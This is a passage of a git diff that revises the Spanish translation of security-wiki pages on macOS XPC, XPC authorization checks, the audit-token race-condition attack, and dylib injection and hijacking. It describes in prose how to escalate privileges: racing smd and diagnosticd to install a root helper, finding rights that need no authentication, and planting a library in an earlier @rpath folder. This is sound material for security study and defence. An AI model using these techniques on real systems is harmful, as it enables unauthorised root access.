`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` y un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` -Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó. +Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su archivo **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó. Los servicios XPC son **iniciados** por **launchd** cuando se requieren y **se apagan** una vez que todas las tareas están **completas** para liberar recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades. @@ -68,7 +68,7 @@ Los que están en **`LaunchDameons`** son ejecutados por root. Así que si un pr - **`xpc_object_t`** -Cada mensaje XPC es un objeto diccionario que simplifica la serialización y deserialización. Además, `libxpc.dylib` declara la mayoría de los tipos de datos, por lo que es posible hacer que los datos recibidos sean del tipo esperado. En la API de C, cada objeto es un `xpc_object_t` (y su tipo se puede verificar usando `xpc_get_type(object)`).\ +Cada mensaje XPC es un objeto diccionario que simplifica la serialización y deserialización. Además, `libxpc.dylib` declara la mayoría de los tipos de datos, por lo que es posible asegurarse de que los datos recibidos sean del tipo esperado. En la API de C, cada objeto es un `xpc_object_t` (y su tipo se puede verificar usando `xpc_get_type(object)`).\ Además, la función `xpc_copy_description(object)` se puede usar para obtener una representación en cadena del objeto que puede ser útil para fines de depuración.\ Estos objetos también tienen algunos métodos que se pueden llamar como `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`... @@ -116,9 +116,9 @@ La utilidad `xpcproxy` utiliza el prefijo `0x22`, por ejemplo: `0x2200001c: xpcp ## Mensajes de Evento XPC -Las aplicaciones pueden **suscribirse** a diferentes **mensajes** de evento, lo que les permite ser **iniciadas bajo demanda** cuando ocurren tales eventos. La **configuración** para estos servicios se realiza en los **archivos plist de launchd**, ubicados en los **mismos directorios que los anteriores** y que contienen una clave adicional **`LaunchEvent`**. +Las aplicaciones pueden **suscribirse** a diferentes **mensajes de evento**, lo que les permite ser **iniciados bajo demanda** cuando ocurren tales eventos. La **configuración** para estos servicios se realiza en los archivos **plist de launchd**, ubicados en los **mismos directorios que los anteriores** y que contienen una clave adicional **`LaunchEvent`**. -### Verificación del Proceso Conectado XPC +### Verificación del Proceso de Conexión XPC Cuando un proceso intenta llamar a un método a través de una conexión XPC, el **servicio XPC debe verificar si ese proceso tiene permitido conectarse**. Aquí están las formas comunes de verificar eso y las trampas comunes: @@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/ ## Autorización XPC -Apple también permite que las aplicaciones **configuren algunos derechos y cómo obtenerlos**, por lo que si el proceso que llama los tiene, se le **permitiría llamar a un método** del servicio XPC: +Apple también permite a las aplicaciones **configurar algunos derechos y cómo obtenerlos**, por lo que si el proceso que llama los tiene, se le **permitiría llamar a un método** del servicio XPC: {{#ref}} macos-xpc-authorization.md @@ -440,11 +440,11 @@ return; ## Remote XPC Esta funcionalidad proporcionada por `RemoteXPC.framework` (de `libxpc`) permite comunicarse a través de XPC entre diferentes hosts.\ -Los servicios que admiten XPC remoto tendrán en su plist la clave UsesRemoteXPC como es el caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Sin embargo, aunque el servicio estará registrado con `launchd`, es `UserEventAgent` con los plugins `com.apple.remoted.plugin` y `com.apple.remoteservicediscovery.events.plugin` los que proporcionan la funcionalidad. +Los servicios que admiten XPC remoto tendrán en su plist la clave UsesRemoteXPC, como es el caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Sin embargo, aunque el servicio estará registrado con `launchd`, es `UserEventAgent` con los plugins `com.apple.remoted.plugin` y `com.apple.remoteservicediscovery.events.plugin` los que proporcionan la funcionalidad. Además, el `RemoteServiceDiscovery.framework` permite obtener información del `com.apple.remoted.plugin` exponiendo funciones como `get_device`, `get_unique_device`, `connect`... -Una vez que se utiliza connect y se recopila el socket `fd` del servicio, es posible usar la clase `remote_xpc_connection_*`. +Una vez que se utiliza connect y se obtiene el socket `fd` del servicio, es posible usar la clase `remote_xpc_connection_*`. Es posible obtener información sobre servicios remotos utilizando la herramienta cli `/usr/libexec/remotectl` con parámetros como: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index e8e4307b6..ab5a4e7f9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -6,7 +6,7 @@ Apple también propone otra forma de autenticar si el proceso de conexión tiene **permisos para llamar a un método XPC expuesto**. -Cuando una aplicación necesita **ejecutar acciones como un usuario privilegiado**, en lugar de ejecutar la aplicación como un usuario privilegiado, generalmente instala como root un HelperTool como un servicio XPC que podría ser llamado desde la aplicación para realizar esas acciones. Sin embargo, la aplicación que llama al servicio debe tener suficiente autorización. +Cuando una aplicación necesita **ejecutar acciones como un usuario privilegiado**, en lugar de ejecutar la aplicación como un usuario privilegiado, generalmente se instala como root un HelperTool como un servicio XPC que podría ser llamado desde la aplicación para realizar esas acciones. Sin embargo, la aplicación que llama al servicio debe tener suficiente autorización. ### ShouldAcceptNewConnection siempre YES @@ -27,7 +27,7 @@ newConnection.exportedObject = self; return YES; } ``` -Para más información sobre cómo configurar correctamente esta verificación, consulte: +Para más información sobre cómo configurar correctamente esta verificación: {{#ref}} macos-xpc-connecting-process-check/ @@ -180,7 +180,7 @@ Hay diferentes ámbitos para indicar quién puede acceder a un derecho. Algunos ### Verificación de Derechos -En `HelperTool/HelperTool.m` la función **`readLicenseKeyAuthorization`** verifica si el llamador está autorizado para **ejecutar tal método** llamando a la función **`checkAuthorization`**. Esta función comprobará que los **authData** enviados por el proceso llamador tienen un **formato correcto** y luego verificará **qué se necesita para obtener el derecho** para llamar al método específico. Si todo va bien, el **`error` devuelto será `nil`**: +En `HelperTool/HelperTool.m`, la función **`readLicenseKeyAuthorization`** verifica si el llamador está autorizado para **ejecutar tal método** llamando a la función **`checkAuthorization`**. Esta función comprobará que los **authData** enviados por el proceso llamador tienen un **formato correcto** y luego verificará **qué se necesita para obtener el derecho** para llamar al método específico. Si todo va bien, el **`error` devuelto será `nil`**: ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { @@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess); return error; } ``` -Tenga en cuenta que para **verificar los requisitos para obtener el derecho** a llamar a ese método, la función `authorizationRightForCommand` solo verificará el objeto de comentario previamente mencionado **`commandInfo`**. Luego, llamará a **`AuthorizationCopyRights`** para verificar **si tiene los derechos** para llamar a la función (tenga en cuenta que las banderas permiten la interacción con el usuario). +Tenga en cuenta que para **verificar los requisitos para obtener el derecho** a llamar a ese método, la función `authorizationRightForCommand` solo verificará el objeto de comentario previamente mencionado **`commandInfo`**. Luego, llamará a **`AuthorizationCopyRights`** para verificar **si tiene los derechos** para llamar a la función (tenga en cuenta que las flags permiten la interacción con el usuario). En este caso, para llamar a la función `readLicenseKeyAuthorization`, el `kCommandKeyAuthRightDefault` se define como `@kAuthorizationRuleClassAllow`. Así que **cualquiera puede llamarlo**. @@ -250,7 +250,7 @@ Puedes encontrar **todas las configuraciones de permisos** [**aquí**](https://w 1. **'authenticate-user': 'false'** - Esta es la clave más directa. Si se establece en `false`, especifica que un usuario no necesita proporcionar autenticación para obtener este derecho. -- Esto se utiliza en **combinación con uno de los 2 a continuación o indicando un grupo** al que el usuario debe pertenecer. +- Se utiliza en **combinación con una de las 2 a continuación o indicando un grupo** al que el usuario debe pertenecer. 2. **'allow-root': 'true'** - Si un usuario está operando como el usuario root (que tiene permisos elevados), y esta clave está establecida en `true`, el usuario root podría potencialmente obtener este derecho sin más autenticación. Sin embargo, típicamente, llegar a un estado de usuario root ya requiere autenticación, por lo que este no es un escenario de "sin autenticación" para la mayoría de los usuarios. 3. **'session-owner': 'true'** @@ -269,9 +269,9 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, Rights with 'session-owner': 'true': authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui ``` -## Reversión de Autorización +## Reversing Authorization -### Verificando si se utiliza EvenBetterAuthorization +### Checking if EvenBetterAuthorization is used Si encuentras la función: **`[HelperTool checkAuthorization:command:]`** probablemente el proceso esté utilizando el esquema mencionado anteriormente para la autorización: @@ -281,17 +281,17 @@ Esto, si esta función está llamando a funciones como `AuthorizationCreateFromE Verifica el **`/var/db/auth.db`** para ver si es posible obtener permisos para llamar a alguna acción privilegiada sin interacción del usuario. -### Comunicación de Protocolo +### Protocol Communication -Luego, necesitas encontrar el esquema de protocolo para poder establecer una comunicación con el servicio XPC. +Luego, necesitas encontrar el esquema del protocolo para poder establecer una comunicación con el servicio XPC. La función **`shouldAcceptNewConnection`** indica el protocolo que se está exportando:
-En este caso, tenemos lo mismo que en EvenBetterAuthorizationSample, [**ver esta línea**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). +En este caso, tenemos lo mismo que en EvenBetterAuthorizationSample, [**check this line**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). -Sabiendo el nombre del protocolo utilizado, es posible **volcar su definición de encabezado** con: +Sabiendo el nombre del protocolo utilizado, es posible **dump its header definition** con: ```bash class-dump /Library/PrivilegedHelperTools/com.example.HelperTool diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index eccfbe40a..e86e0019a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -8,7 +8,7 @@ Cuando se establece una conexión a un servicio XPC, el servidor verificará si 1. Verificar si el **proceso que se conecta está firmado con un certificado firmado por Apple** (solo otorgado por Apple). - Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra verificación. -2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID de equipo). +2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID del equipo). - Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple puede ser utilizado para firmar y conectarse al servicio. 3. Verificar si el proceso que se conecta **contiene un ID de paquete adecuado**. - Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría ser utilizada para interactuar con el servicio XPC. @@ -51,7 +51,7 @@ return YES; ``` El objeto NSXPCConnection tiene una propiedad **privada** **`auditToken`** (la que debería usarse pero podría cambiar) y una propiedad **pública** **`processIdentifier`** (la que no debería usarse). -El proceso de conexión podría verificarse con algo como: +El proceso de conexión podría ser verificado con algo como: ```objectivec [...] SecRequirementRef requirementRef = NULL; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index 8f5915594..32e28163e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -1,4 +1,4 @@ -# macOS xpc_connection_get_audit_token Ataque +# macOS xpc_connection_get_audit_token Attack {{#include ../../../../../../banners/hacktricks-training.md}} @@ -13,11 +13,11 @@ Si no sabes qué son los Mensajes Mach, comienza a revisar esta página: {{#endref}} Por el momento, recuerda que ([definición de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Los mensajes Mach se envían a través de un _mach port_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un mach port, pero en cualquier momento **solo un único proceso puede leer de él**. Al igual que los descriptores de archivo y los sockets, los mach ports son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus mach ports desean utilizar. +Los mensajes Mach se envían a través de un _mach port_, que es un canal de comunicación de **un solo receptor, múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un mach port, pero en cualquier momento **solo un único proceso puede leer de él**. Al igual que los descriptores de archivo y los sockets, los mach ports son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus mach ports desean usar. ## Conexión XPC -Si no sabes cómo se establece una conexión XPC, consulta: +Si no sabes cómo se establece una conexión XPC, revisa: {{#ref}} ../ @@ -25,18 +25,18 @@ Si no sabes cómo se establece una conexión XPC, consulta: ## Resumen de Vulnerabilidades -Lo que es interesante que sepas es que **la abstracción de XPC es una conexión uno a uno**, pero se basa en una tecnología que **puede tener múltiples emisores, así que:** +Lo que es interesante que sepas es que **la abstracción de XPC es una conexión uno a uno**, pero se basa en una tecnología que **puede tener múltiples remitentes, así que:** -- Los mach ports son de un solo receptor, **múltiples emisores**. +- Los mach ports son de un solo receptor, **múltiples remitentes**. - El token de auditoría de una conexión XPC es el token de auditoría **copiado del mensaje recibido más recientemente**. - Obtener el **token de auditoría** de una conexión XPC es crítico para muchas **verificaciones de seguridad**. Aunque la situación anterior suena prometedora, hay algunos escenarios donde esto no causará problemas ([de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): - Los tokens de auditoría se utilizan a menudo para una verificación de autorización para decidir si aceptar una conexión. Como esto ocurre utilizando un mensaje al puerto de servicio, **no se ha establecido ninguna conexión aún**. Más mensajes en este puerto simplemente se manejarán como solicitudes de conexión adicionales. Por lo tanto, cualquier **verificación antes de aceptar una conexión no es vulnerable** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **buscamos conexiones XPC que verifiquen acciones específicas**. -- Los controladores de eventos XPC se manejan de manera sincrónica. Esto significa que el controlador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **controlador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡sin respuesta!). +- Los controladores de eventos XPC se manejan de manera sincrónica. Esto significa que el controlador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **controlador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!). -Dos métodos diferentes en los que esto podría ser explotable: +Dos métodos diferentes por los cuales esto podría ser explotable: 1. Variante 1: - **El exploit** **se conecta** al servicio **A** y al servicio **B** @@ -45,12 +45,12 @@ Dos métodos diferentes en los que esto podría ser explotable: - Por lo tanto, un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de manera asíncrona fuera del controlador de eventos. - El exploit pasa a **servicio B el derecho de ENVÍO al servicio A**. - Por lo tanto, el svc **B** estará realmente **enviando** los **mensajes** al servicio **A**. -- El **exploit** intenta **llamar** a la **acción privilegiada.** En un RC, el svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el token de auditoría** (dando al exploit acceso para llamar a la acción privilegiada). +- El **exploit** intenta **llamar** a la **acción privilegiada.** En un RC, el svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el Token de auditoría** (dando al exploit acceso para llamar a la acción privilegiada). 2. Variante 2: - El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede -- El exploit se conecta con **el servicio A**, que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico. +- El exploit se conecta con **servicio A**, que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico. - El exploit envía a **servicio** B un mensaje pasando **ese puerto de respuesta**. -- Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un **mensaje diferente al servicio A** tratando de **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el token de auditoría en el momento perfecto (Condición de Carrera). +- Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un **mensaje diferente al servicio A** tratando de **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el Token de auditoría en el momento perfecto (Condición de Carrera). ## Variante 1: llamando a xpc_connection_get_audit_token fuera de un controlador de eventos @@ -64,29 +64,29 @@ Escenario: > [!CAUTION] > En este caso, un atacante podría desencadenar una **Condición de Carrera** haciendo un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a `A`**. Cuando la RC es **exitosa**, el **token de auditoría** de **B** será copiado en memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**. -Esto ocurrió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede usar para instalar un nuevo ayudante privilegiado (como **root**). Si un **proceso que se ejecuta como root contacta** **smd**, no se realizarán más verificaciones. +Esto ocurrió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede usar para instalar un nuevo helper privilegiado (como **root**). Si un **proceso que se ejecuta como root contacta** **smd**, no se realizarán más verificaciones. Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede usar para **monitorear** un proceso, así que una vez que se ha iniciado el monitoreo, **enviará múltiples mensajes por segundo.** Para realizar el ataque: 1. Iniciar una **conexión** al servicio llamado `smd` utilizando el protocolo XPC estándar. -2. Formar una **conexión** secundaria a `diagnosticd`. A diferencia del procedimiento normal, en lugar de crear y enviar dos nuevos mach ports, el derecho de envío del puerto del cliente se sustituye por un duplicado del **derecho de envío** asociado con la conexión `smd`. -3. Como resultado, los mensajes XPC pueden ser despachados a `diagnosticd`, pero las respuestas de `diagnosticd` se redirigen a `smd`. Para `smd`, parece que los mensajes del usuario y de `diagnosticd` provienen de la misma conexión. +2. Formar una **conexión** secundaria a `diagnosticd`. Contrario al procedimiento normal, en lugar de crear y enviar dos nuevos mach ports, el derecho de envío del puerto del cliente se sustituye por un duplicado del **derecho de envío** asociado con la conexión `smd`. +3. Como resultado, los mensajes XPC pueden ser despachados a `diagnosticd`, pero las respuestas de `diagnosticd` se redirigen a `smd`. Para `smd`, parece que los mensajes tanto del usuario como de `diagnosticd` provienen de la misma conexión. -![Imagen que representa el proceso de exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) +![Imagen que representa el proceso del exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) -4. El siguiente paso implica instruir a `diagnosticd` para que inicie el monitoreo de un proceso elegido (potencialmente el propio del usuario). Al mismo tiempo, se envía una inundación de mensajes rutinarios 1004 a `smd`. La intención aquí es instalar una herramienta con privilegios elevados. +4. El siguiente paso implica instruir a `diagnosticd` para que inicie el monitoreo de un proceso elegido (potencialmente el propio del usuario). Concurrentemente, se envía una inundación de mensajes rutinarios 1004 a `smd`. La intención aquí es instalar una herramienta con privilegios elevados. 5. Esta acción desencadena una condición de carrera dentro de la función `handle_bless`. El tiempo es crítico: la llamada a la función `xpc_connection_get_pid` debe devolver el PID del proceso del usuario (ya que la herramienta privilegiada reside en el paquete de la aplicación del usuario). Sin embargo, la función `xpc_connection_get_audit_token`, específicamente dentro de la subrutina `connection_is_authorized`, debe hacer referencia al token de auditoría perteneciente a `diagnosticd`. ## Variante 2: reenvío de respuestas -En un entorno XPC (Comunicación entre Procesos), aunque los controladores de eventos no se ejecutan de manera concurrente, el manejo de mensajes de respuesta tiene un comportamiento único. Específicamente, existen dos métodos distintos para enviar mensajes que esperan una respuesta: +En un entorno XPC (Comunicación entre Procesos), aunque los controladores de eventos no se ejecutan de manera concurrente, el manejo de los mensajes de respuesta tiene un comportamiento único. Específicamente, existen dos métodos distintos para enviar mensajes que esperan una respuesta: 1. **`xpc_connection_send_message_with_reply`**: Aquí, el mensaje XPC se recibe y procesa en una cola designada. 2. **`xpc_connection_send_message_with_reply_sync`**: Por el contrario, en este método, el mensaje XPC se recibe y procesa en la cola de despacho actual. -Esta distinción es crucial porque permite la posibilidad de que **los paquetes de respuesta se analicen de manera concurrente con la ejecución de un controlador de eventos XPC**. Notablemente, mientras que `_xpc_connection_set_creds` implementa un bloqueo para protegerse contra la sobrescritura parcial del token de auditoría, no extiende esta protección a todo el objeto de conexión. En consecuencia, esto crea una vulnerabilidad donde el token de auditoría puede ser reemplazado durante el intervalo entre el análisis de un paquete y la ejecución de su controlador de eventos. +Esta distinción es crucial porque permite la posibilidad de que **los paquetes de respuesta se analicen de manera concurrente con la ejecución de un controlador de eventos XPC**. Notablemente, aunque `_xpc_connection_set_creds` implementa un bloqueo para protegerse contra la sobrescritura parcial del token de auditoría, no extiende esta protección a todo el objeto de conexión. En consecuencia, esto crea una vulnerabilidad donde el token de auditoría puede ser reemplazado durante el intervalo entre el análisis de un paquete y la ejecución de su controlador de eventos. Para explotar esta vulnerabilidad, se requiere la siguiente configuración: @@ -118,7 +118,7 @@ A continuación se muestra una representación visual del escenario de ataque de - **Problemas Reportados**: Se presentó un informe a Apple detallando los problemas generales y específicos encontrados dentro de `smd`. - **Respuesta de Apple**: Apple abordó el problema en `smd` sustituyendo `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`. -- **Naturaleza de la Solución**: La función `xpc_dictionary_get_audit_token` se considera segura ya que recupera el token de auditoría directamente del mensaje mach vinculado al mensaje XPC recibido. Sin embargo, no forma parte de la API pública, similar a `xpc_connection_get_audit_token`. +- **Naturaleza de la Solución**: La función `xpc_dictionary_get_audit_token` se considera segura ya que recupera el token de auditoría directamente del mensaje mach vinculado al mensaje XPC recibido. Sin embargo, no es parte de la API pública, similar a `xpc_connection_get_audit_token`. - **Ausencia de una Solución Más Amplia**: No está claro por qué Apple no implementó una solución más integral, como descartar mensajes que no se alineen con el token de auditoría guardado de la conexión. La posibilidad de cambios legítimos en el token de auditoría en ciertos escenarios (por ejemplo, uso de `setuid`) podría ser un factor. - **Estado Actual**: El problema persiste en iOS 17 y macOS 14, representando un desafío para aquellos que buscan identificarlo y comprenderlo. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index 8740ea058..1a6a97b87 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -19,8 +19,8 @@ Esto es como el [**LD_PRELOAD en Linux**](../../../../linux-hardening/privilege- Esta técnica también puede ser **utilizada como una técnica ASEP** ya que cada aplicación instalada tiene un plist llamado "Info.plist" que permite la **asignación de variables ambientales** usando una clave llamada `LSEnvironmental`. -> [!NOTE] -> Desde 2012, **Apple ha reducido drásticamente el poder** de **`DYLD_INSERT_LIBRARIES`**. +> [!TIP] +> Desde 2012 **Apple ha reducido drásticamente el poder** de **`DYLD_INSERT_LIBRARIES`**. > > Ve al código y **verifica `src/dyld.cpp`**. En la función **`pruneEnvironmentVariables`** puedes ver que las variables **`DYLD_*`** son eliminadas. > @@ -29,7 +29,7 @@ Esta técnica también puede ser **utilizada como una técnica ASEP** ya que cad > - El binario es `setuid/setgid` > - Existencia de la sección `__RESTRICT/__restrict` en el binario macho. > - El software tiene derechos (runtime endurecido) sin el derecho [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) -> - Verifica los **derechos** de un binario con: `codesign -dv --entitlements :- ` +> - Verifica los **derechos** de un binario con: `codesign -dv --entitlements :- ` > > En versiones más actualizadas puedes encontrar esta lógica en la segunda parte de la función **`configureProcessRestrictions`**. Sin embargo, lo que se ejecuta en versiones más nuevas son los **chequeos iniciales de la función** (puedes eliminar los ifs relacionados con iOS o simulación ya que esos no se usarán en macOS). @@ -59,8 +59,8 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md > [!CAUTION] > Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dylib. -Al igual que en Windows, en MacOS también puedes **secuestro de dylibs** para hacer que **aplicaciones** **ejecuten** **código** **arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que podrías necesitar un permiso de TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\ -Sin embargo, la forma en que las **aplicaciones de MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**. +Al igual que en Windows, en MacOS también puedes **secuestro dylibs** para hacer que **las aplicaciones** **ejecuten** **código** **arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que podrías necesitar un permiso de TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\ +Sin embargo, la forma en que las aplicaciones **MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**. Primero que nada, es **más común** encontrar que los **binarios de MacOS indican la ruta completa** a las bibliotecas a cargar. Y segundo, **MacOS nunca busca** en las carpetas de **$PATH** para bibliotecas. @@ -71,7 +71,7 @@ Hay **4 comandos de encabezado diferentes** que un binario macho puede usar para - El comando **`LC_LOAD_DYLIB`** es el comando común para cargar un dylib. - El comando **`LC_LOAD_WEAK_DYLIB`** funciona como el anterior, pero si el dylib no se encuentra, la ejecución continúa sin ningún error. - El comando **`LC_REEXPORT_DYLIB`** proxy (o re-exporta) los símbolos de una biblioteca diferente. -- El comando **`LC_LOAD_UPWARD_DYLIB`** se usa cuando dos bibliotecas dependen entre sí (esto se llama una _dependencia ascendente_). +- El comando **`LC_LOAD_UPWARD_DYLIB`** se utiliza cuando dos bibliotecas dependen entre sí (esto se llama una _dependencia ascendente_). Sin embargo, hay **2 tipos de secuestro de dylib**: @@ -90,7 +90,7 @@ compatibility version 1.0.0 - **Configurado con @rpath**: Los binarios Mach-O pueden tener los comandos **`LC_RPATH`** y **`LC_LOAD_DYLIB`**. Basado en los **valores** de esos comandos, las **bibliotecas** se cargarán desde **diferentes directorios**. - **`LC_RPATH`** contiene las rutas de algunas carpetas utilizadas para cargar bibliotecas por el binario. - **`LC_LOAD_DYLIB`** contiene la ruta a bibliotecas específicas para cargar. Estas rutas pueden contener **`@rpath`**, que será **reemplazado** por los valores en **`LC_RPATH`**. Si hay varias rutas en **`LC_RPATH`**, todas se utilizarán para buscar la biblioteca a cargar. Ejemplo: -- Si **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` y **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` y `/application/app.app/Contents/Framework/v2/`. Ambas carpetas se utilizarán para cargar `library.dylib`**.** Si la biblioteca no existe en `[...]/v1/` y el atacante podría colocarla allí para secuestrar la carga de la biblioteca en `[...]/v2/` ya que se sigue el orden de rutas en **`LC_LOAD_DYLIB`**. +- Si **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` y **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` y `/application/app.app/Contents/Framework/v2/`. Ambas carpetas se utilizarán para cargar `library.dylib`**.** Si la biblioteca no existe en `[...]/v1/` y un atacante podría colocarla allí para 